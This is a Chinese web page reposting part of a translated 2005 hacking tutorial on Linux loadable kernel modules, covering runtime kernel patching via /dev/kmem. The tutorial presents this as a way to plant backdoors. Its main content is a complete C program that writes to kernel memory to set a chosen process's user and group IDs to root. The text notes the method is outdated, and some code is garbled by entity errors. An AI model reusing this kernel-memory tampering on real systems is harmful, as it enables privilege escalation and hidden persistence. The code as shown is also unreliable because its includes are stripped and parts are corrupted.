热门关键字:  PHP  Cisco  seo  网络广告 虚拟主机 中文域名
当前位置 :| 主页>服务器>Linux服务器>

Linux系统可卸载内核模块完全指南(下)

来源:Silversand.net 作者:Pragmatic 时间:2005-11-09 点击:

但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。每个系统都需要启动。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。

因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。

正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。

因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。

/*注意:我没有实现错误检查*/ 



#include  



#include  



#include  



#include  





/*我们想要改变的任务结构的最大数目*/ 



#define NR_TASKS 512 





/*我们的任务结构-〉我只使用了我们需要的那部分*/ 



struct task_struct { 



char a[108];       /*我们不需要的*/ 



int pid; 



char b[168];       /*我们不需要的*/ 



unsigned short uid,euid,suid,fsuid; 



unsigned short gid,egid,sgid,fsgid; 



char c[700];       /*我们不需要的*/ 



}; 





/*下面是原始的任务结构,

你可以看看还有其他的什么是你可以改变的 



struct task_struct { 



volatile long state; 



long counter; 



long priority; 



unsigned long signal; 



unsigned long blocked; 



unsigned long flags; 



int errno; 



long debugreg[8]; 



struct exec_domain *exec_domain; 



struct linux_binfmt *binfmt; 



struct task_struct *next_task, *prev_task; 



struct task_struct *next_run, *prev_run; 



unsigned long saved_kernel_stack; 



unsigned long kernel_stack_page; 



int exit_code, exit_signal; 



unsigned long personality; 



int dumpable:1; 



int did_exec:1; 



int pid; 



int pgrp; 



int tty_old_pgrp; 



int session; 



int leader; 



int groups[NGROUPS]; 



struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; 



struct wait_queue *wait_chldexit; 



unsigned short uid,euid,suid,fsuid; 



unsigned short gid,egid,sgid,fsgid; 



unsigned long timeout, policy, rt_priority; 



unsigned long it_real_value, it_prof_value, it_virt_value; 



unsigned long it_real_incr, it_prof_incr, it_virt_incr; 



struct timer_list real_timer; 



long utime, stime, cutime, cstime, start_time; 



unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; 



int swappable:1; 



unsigned long swap_address; 



unsigned long old_maj_flt; 



unsigned long dec_flt; 



unsigned long swap_cnt; 



struct rlimit rlim[RLIM_NLIMITS]; 



unsigned short used_math; 



char comm[16]; 



int link_count; 



struct tty_struct *tty; 



struct sem_undo *semundo; 



struct sem_queue *semsleeping; 



struct desc_struct *ldt; 



struct thread_struct tss; 



struct fs_struct *fs; 



struct files_struct *files; 



struct mm_struct *mm; 



struct signal_struct *sig; 



#ifdef __SMP__ 



int processor; 



int last_processor; 



int lock_depth; 



#endif 



}; 



*/ 





int main(int argc, char *argv[]) 



{ 



unsigned long task[NR_TASKS]; 



/*用于特定PID的任务结构*/ 



struct task_struct current; 



int kmemh; 



int i; 



pid_t pid; 



int retval; 





pid = atoi(argv[2]); 





kmemh = open("/dev/kmem", O_RDWR); 





/*找到第一个任务结构的内存地址*/ 



lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); 



read(kmemh, task, sizeof(task)); 





/*遍历知道我们找到我们的任务结构(由PID确定)*/ 



for (i = 0; i < NR_TASKS; i++) 



{ 



lseek(kmemh, task[i], SEEK_SET); 



read(kmemh, ¤t, sizeof(current)); 



/*是我们的进程么*/ 



if (current.pid == pid) 



{ 



/*是的,因此改变UID域。。。。*/ 



current.uid = current.euid = 0; 



current.gid = current.egid = 0; 



/*写回到内存*/ 



lseek(kmemh, task[i], SEEK_SET); 



write(kmemh, ¤t, sizeof(current)); 



printf("Process was found and task structure was modified\n"); 



exit(0); 



} 



} 



}




最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册
赞助商连接